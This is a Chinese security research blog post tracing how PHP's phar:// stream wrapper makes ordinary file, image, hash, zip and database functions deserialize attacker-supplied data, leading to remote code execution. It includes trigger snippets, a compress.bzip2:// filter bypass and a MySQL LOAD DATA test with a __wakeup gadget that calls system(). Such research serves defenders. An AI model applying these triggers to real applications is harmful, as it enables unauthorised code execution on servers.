Phar与Stream Wrapper造成PHP RCE的深入挖掘 Secer's Blog - 记录互联网安全历程与个人成长经历

今年的HITCON打完了，沉迷写前端搞Nextjs骚操作的我成功爆0（雾），不想写前端了.jpg。

先跑个题。
HITCON 2016上，orange 出了一道PHP反序列化。
HITCON 2017上，orange 出了一道Phar + PHP反序列化。
HITCON 2018上，orange 出了一道file_get_contents + Phar + PHP反序列化。
让我们期待HITCON 2019的操作（雾。

Phar RCE

今年HITCON上，baby cake这一题，涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper这个议题，见：https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。它的主要内容是，通过phar://协议对一个phar文件进行文件操作，如file_get_contents，就可以触发反序列化，从而达成RCE的效果。

在文章开头部分，让我先对phar反序列化做一些小小的分析。我们直接阅读PHP源码。在 phar.c#L618 处，其调用了php_var_unserialize。

if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

因此可以构造一个特殊的phar包，使得攻击代码能够被反序列化，从而构造一个POP链。这一部分已经太常见了，CTF比赛中都出烂了，没什么值得继续讨论的。值得关注的是到底为什么file_get_contents能够实现RCE。

Stream API

因此，为解决这个问题，我们需要首先阅读此函数的源码。大概在此处：https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548 ，重点关注此行：

stream = php_stream_open_wrapper_ex(filename, "rb",
                (use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
                NULL, context);

可以注意，其使用的是php_stream系列API来打开一个文件。阅读PHP的这篇文档：Streams API for PHP Extension Authors，可知，Stream API是PHP中一种统一的处理文件的方法，并且其被设计为可扩展的，允许任意扩展作者使用。而本次事件的主角，也就是phar这个扩展，其就注册了phar://这个stream wrapper。可以使用stream_get_wrapper看到系统内注册了哪一些wrapper，但其余的没什么值得关注的。

php > var_dump(stream_get_wrappers());
array(12) {
  [0]=>
  string(5) "https"
  [1]=>
  string(4) "ftps"
  [2]=>
  string(13) "compress.zlib"
  [3]=>
  string(14) "compress.bzip2"
  [4]=>
  string(3) "php"
  [5]=>
  string(4) "file"
  [6]=>
  string(4) "glob"
  [7]=>
  string(4) "data"
  [8]=>
  string(4) "http"
  [9]=>
  string(3) "ftp"
  [10]=>
  string(4) "phar"
  [11]=>
  string(3) "zip"
}

那么，注册一个 stream wrapper，能实现什么功能呢？很容易就能找到其定义：https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/php_streams.h#L132

typedef struct _php_stream_wrapper_ops {
    /* open/create a wrapped stream */
    php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
            int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
    /* close/destroy a wrapped stream */
    int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream);
    /* stat a wrapped stream */
    int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb);
    /* stat a URL */
    int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context);
    /* open a "directory" stream */
    php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
            int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
    const char *label;
    /* delete a file */
    int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
    /* rename a file */
    int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context);
    /* Create/Remove directory */
    int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context);
    int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
    /* Metadata handling */
    int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context);
} php_stream_wrapper_ops;

因此，我们发现，一个 stream wrapper，它支持以下功能：打开文件（夹）、删除文件（夹）、重命名文件（夹），以及获取文件的meta。我们很容易就能断定，类似unlink等函数也是同样通过这个 streams api 进行操作。

Sam Thomas 的 pdf 指出

This is true for both direct file operations (such as
"file_exists") and indirect operations such as those that occur during external entity processing
within XML (i.e. when an XXE vulnerability is being exploited).

我们通过试验也很容易发现，类似unlink等函数也均是可以使用的。

知道创宇404实验室的研究员 seaii 更为我们指出了所有文件函数均可使用（https://paper.seebug.org/680/ ）：

fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / `fopen``
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
copy

仅仅是知道一些受影响的函数，就够了吗？为什么就可以使用了呢？

寻找受害者

当然不够。我们需要先找到其原理，然后往下深入挖掘。
先看file_get_contents的代码。其调用了

stream = php_stream_open_wrapper_ex(filename, "rb" ....);

这么个函数。

再看unlink的代码，其调用了

wrapper = php_stream_locate_url_wrapper(filename, NULL, 0);

这么个函数。

从php_stream_open_wrapper_ex的实现，可以看到，其也调用了php_stream_locate_url_wrapper 。这个函数的作用是通过url来找到对应的wrapper。我们可以看到，phar组件注册了phar://这个wrapper， https://github.com/php/php-src/blob/67b4c3379a1c7f8a34522972c9cb3adf3776bc4a/ext/phar/stream.c
其定义如下：

const php_stream_wrapper_ops phar_stream_wops = {
    phar_wrapper_open_url,
    NULL,                  /* phar_wrapper_close */
    NULL,                  /* phar_wrapper_stat, */
    phar_wrapper_stat,     /* stat_url */
    phar_wrapper_open_dir, /* opendir */
    "phar",
    phar_wrapper_unlink,   /* unlink */
    phar_wrapper_rename,   /* rename */
    phar_wrapper_mkdir,    /* create directory */
    phar_wrapper_rmdir,    /* remove directory */
    NULL
};

接着，让我们翻这几个函数的实现，会发现它们都调用了phar_parse_url，这个函数再调用phar_open_or_create_filename -> phar_create_or_parse_filename -> phar_open_from_fp -> phar_parse_pharfile -> phar_parse_metadata -> phar_var_unserialize。因此，明面上来看，所有文件函数，均可以触发此phar漏洞，因为它们都直接或间接地调用了这个wrapper。

只是这些文件函数，就够了吗？
当然不够。这是一个所有的和IO有关的函数，都可能触发的问题。

前面我已经指出，它们都有一个共同特征，就是调用了php_stream_locate_url_wrapper。但是这个不那么好用，换php_stream_open_wrapper更合适点。让我们搜索一下PHP源代码吧，

我们很快就能发现，操作文件的touch，也是能触发它的。不看文件了，我们假设文件全部都能用。

我们会惊讶（一点都不）地发现：

exif

exif_thumbnail
exif_imagetype

gd

imageloadfont
imagecreatefrom***

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers

standard

getimagesize
getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

这，够了吗？non non哒哟！

如果题目限制了，phar://不能出现在头几个字符怎么办？请欣赏你船未见过的船新操作。

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

当然，它同样适用于compress.zlib://。

Postgres

再来个数据库吧！

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然，pgsqlCopyToFile和pg_trace同样也是能使用的，只是它们需要开启phar的写功能。

MySQL

还有什么骚操作呢？
……MySQL？
走你！

我们注意到，LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper. 让我们测试一下。

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再配置一下mysqld。

[mysqld]
local-infile=1
secure_file_priv=""

……然后，走你！

这就是我想要看到的舞台！——长颈鹿
很可惜，这不是默认配置；但是，嗯，很有意思。

我相信，PHP代码内部还有相当多的php_stream_open_wrapper等待挖掘，这只是关于stream wrapper利用的一小步。